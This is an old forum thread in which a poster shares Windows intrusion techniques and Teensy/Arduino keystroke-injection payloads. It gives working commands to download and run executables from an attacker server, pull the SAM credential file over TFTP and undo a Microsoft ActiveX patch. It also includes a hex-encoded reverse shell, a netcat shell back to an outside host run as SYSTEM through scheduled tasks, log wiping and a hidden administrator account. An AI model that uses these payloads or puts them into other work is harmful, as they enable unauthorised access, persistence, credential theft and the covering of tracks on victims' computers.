illwill Posted January 31, 2011 Share Posted January 31, 2011 (edited) Bear with me this is going to be a continuing post once i get all my testing done so i know it works with XP as well as Vista/7.. I started to think of other ideas to get control of the machine, thinking back to the old methods of transferring files through an exploit shell prompt I started to think about injecting text into a file and piping it back to DEBUG, piping FTP scripts commands into a file, TFTP, ADODB stream files. Mind you now I haven't tried these things since circa 2005 so im not sure what new security measures Win Vista/7 has put into place to block some of these things Also I still have to translate it to Arduino code because most of these were to be used in an exploit shell prompt here are some old methods of transferring files that i have used: 1. Open the c: drive up for file sharing/transferring C:\>NET SHARE shareME=C: which u can connect to in your browser window \\victimsIP\shareME or type in YOUR dos prompt c:>NET USE x: \\VICTIMip\shareME /user:GOD 2. TFTP transfers (u need to have a TFTP server running on your computer) http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/ TFTP [-i] YOURIP [GET | PUT] source [destination] C:\WINNT\SYSTEM32>TFTP -i 127.0.0.1 GET SAM c:\rootedSAMS 3. from a command prompt echo ftp commands into a .bat file and execute it echo open SITENAME.COM>$.tmp echo user USERNAME>>$.tmp echo PASSWORD>>$.tmp echo cd public_html>>$.tmp echo GET test.exe >>$.tmp echo quit >>$.tmp ftp -v -i -n -s:$.tmp del $.tmp you can append && at the end of each command to act like a carriage return which allows you to write 1-liner commands echo user USERNAME>>$.tmp && echo PASSWORD>>$.tmp && echo cd public_html>>$.tmp && echo get test.exe >>$.tmp && echo quit >>$.tmp && ftp -v -i -n -s:$.tmp && echo hi>$.tmp && del $.tmp tftp -i yourserver.com get yourfile.exe && start yourfile.exe using ADODB streams to download the files: echo Dim HTTPGET >>c:\dl.vbs && echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\dl.vbs && echo HTTPGET.Open "GET", "http://www.yourserver.com/test.exe", false >>c:\dl.vbs && echo HTTPGET.Send >>c:\dl.vbs && echo DataBin = HTTPGET.ResponseBody >>c:\dl.vbs && echo Const adTypeBinary=1 >>c:\dl.vbs && echo Const adSaveCreateOverWrite=2 >>c:\dl.vbs && echo Dim SendBinary >>c:\dl.vbs && echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\dl.vbs && echo SendBinary.Type = adTypeBinary >>c:\dl.vbs && echo SendBinary.Open >>c:\dl.vbs && echo SendBinary.Write DataBin >>c:\dl.vbs && echo SendBinary.SaveToFile "c:\test.exe", adSaveCreateOverWrite >>c:\dl.vbs && cscript //Nologo /B c:\dl.vbs && start c:\test.exe && del /s c:\dl.vbs although Microsoft released a patch to circumvent this , all's they did was change an ActiveX flag, which you can remove suing something like this echo Windows Registry Editor Version 5.00 >>c:\fix.reg && echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{00000566-0000-0010-8000-00AA006D2EA4}] >>c:\fix.reg && echo "Compatibility Flags"=- >>c:\fix.reg && regedit /s c:\fix.reg now not all computers will have internet connections or have some sort of intrusion detection system in place to prevent you from downloading files from the web so we can use DEBUG to create files from the text we pipe into it. one example I've created a 1.27kb reverse commandshell in MASM that i fed into exe2bat to create this you can paste into the shell that will connect back to the ip/hostname and port you specify when executing the exe echo off && echo n 1.dll >123.hex echo e 0100 >>123.hex && echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >>123.hex echo e 0180 >>123.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 0200 >>123.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >>123.hex echo e 0280 >>123.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >>123.hex echo e 0300 >>123.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >>123.hex echo e 0380 >>123.hex && echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >>123.hex echo e 0400 >>123.hex && echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >>123.hex echo e 0480 >>123.hex && echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >>123.hex echo e 0500 >>123.hex && echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >>123.hex echo e 0580 >>123.hex && echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >>123.hex echo r cx >>123.hex && echo 04ef >>123.hex && echo w >>123.hex && echo q >>123.hex && debug<123.hex && copy 1.dll reverse.exe && del 1.dll && del 123.hex once the file is created all's you need to execute it is: reverse.exe <IP/HOST> <PORT> (i.e. reverse.exe haxor.reverse-dns.com 8080) now you dont need to have a connect-back program , but you can use the same method to copy over priv escalation tools, backdoors etc now getting an admin prompt is good , but what if I wanted SYSTEM privileges? say I copied over netcat using the method described above? On XP we could use the AT command Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS>time time The current time is: 0:18:13.01 Enter the new time: C:\WINDOWS>at 0:19 ""nc.exe -v haxor.reversedns.com 443 -d -e cmd.exe"" at 0:19 ""nc.exe -v haxor.reversedns.com 443 -d -e cmd.exe"" Added a new job with job ID = 1 I think for Vista/7 they changed the way to do this so you need to add an admin user rename your nc.exe to services.exe (services.exe cannot be killed by anyone . ) C:\>echo services.exe -v haxor.reversedns.com 443 -L -d -e cmd.exe >c:\netcat.cmd C:\>schtasks /create /tn rb /tr "c:\netcat.cmd" /sc minute /mo 1 /ru Administrator /rp p455w0rd && schtasks /change /tn rb /ru "" SUCCESS: The scheduled task "rb" has successfully been created. INFO: The run as user name for the scheduled task "rb" will be changed to "NT AUTHORITY\SYSTEM". SUCCESS: The parameters of scheduled task "rb" have been changed. u got a reverse connecting netcat shell that runs as SYSTEM and cannot be killed *WARNING* with both types make sure you clean up behind you C:\>net stop "Task Scheduler" C:\>del %SystemRoot%\SchedLgU.Txt C:\>net start "Task Scheduler" so if anyone wants to help out with these ideas let me know, im still working on mine when I have time to do it so I'll post as it comes along Edited February 3, 2011 by illwill Quote Link to comment Share on other sites More sharing options...
illwill Posted February 2, 2011 Author Share Posted February 2, 2011 (edited) Get CMD prompt with Admin Privs (Tested on Win7 only) void GetAdminCMD(){ Keyboard.set_modifier(MODIFIERKEY_GUI); // set windows key Keyboard.send_now(); // press windows key Keyboard.set_modifier(0); // release windows key Keyboard.send_now(); delay(50); Keyboard.print("cmd"); // send cmd to run box Keyboard.set_modifier(MODIFIERKEY_CTRL|MODIFIERKEY_SHIFT); // hold ctrl+alt Keyboard.set_key1(KEY_ENTER); // press enter key Keyboard.send_now(); Keyboard.set_modifier(0); //release keys Keyboard.set_key1(0); Keyboard.send_now(); delay(1000); // delay to wait for UAC prompt Keyboard.set_modifier(MODIFIERKEY_ALT); // set ALT key Keyboard.set_key1(KEY_Y); // set Y key Keyboard.send_now(); // send keys Keyboard.set_modifier(0); // release keys Keyboard.set_key1(0); Keyboard.send_now(); } XP Batchfile FTP Payload Keyboard.println("cd %appdata% && echo open FTPSITE.COM>ftp.tmp && echo username>> ftp.tmp && echo password>> ftp.tmp && echo cd public_html >> ftp.tmp && echo get logo.png >>ftp.tmp && echo quit >>ftp.tmp && FTP -v -i -s:ftp.tmp && echo hi>ftp.tmp && del ftp.tmp"); Windows7 Powershell FTP payload Keyboard.print("powershell"); delay(1500); Keyboard.println("$File = Join-Path $Env:APPDATA \"backdoor.exe\""); Keyboard.println("$ftp = \"ftp://username:password123@mysite.com/public_html/evil.exe\""); Keyboard.println("$webclient = New-Object System.Net.WebClient"); Keyboard.println("$uri = New-Object System.Uri($ftp)"); Keyboard.println("$webclient.DownloadFile($uri, $File)"); Keyboard.println("Invoke-Item $File"); Windows7 Powershell WebDL payload void WebDL(char *URL,char *FileName){ char buffer[175]; Keyboard.println("powershell"); delay(1500); sprintf(buffer, "$File = Join-Path $Env:APPDATA \"%s\"", FileName); Keyboard.println(buffer); Keyboard.println("$web = new-object System.Net.WebClient"); sprintf(buffer, "$web.DownloadFile(\"%s\", $File)", URL); Keyboard.println(buffer); Keyboard.println("Invoke-Item $File"); } Add an Admin user hidden from logon screen void GhostAdmin(char *UserName,char *Password){ char buffer[175]; sprintf(buffer, "net user %s %s /ADD", UserName, Password); Keyboard.println(buffer); delay(300); sprintf(buffer, "net localgroup administrators %s /add", UserName); Keyboard.println(buffer); delay(300); sprintf(buffer, "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v %s /d 0 /t REG_DWORD /f", UserName); Keyboard.println(buffer); } Edited February 4, 2011 by illwill Quote Link to comment Share on other sites More sharing options...
DaberMania Posted April 8, 2011 Share Posted April 8, 2011 To expand on this, I did some initial research with leveraging Base64 encoding to copy an executable using text from Teensy. I have a tutorial on this here : http://dabermania.blogspot.com/2011/04/copying-executable-from-teensy-using.html Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.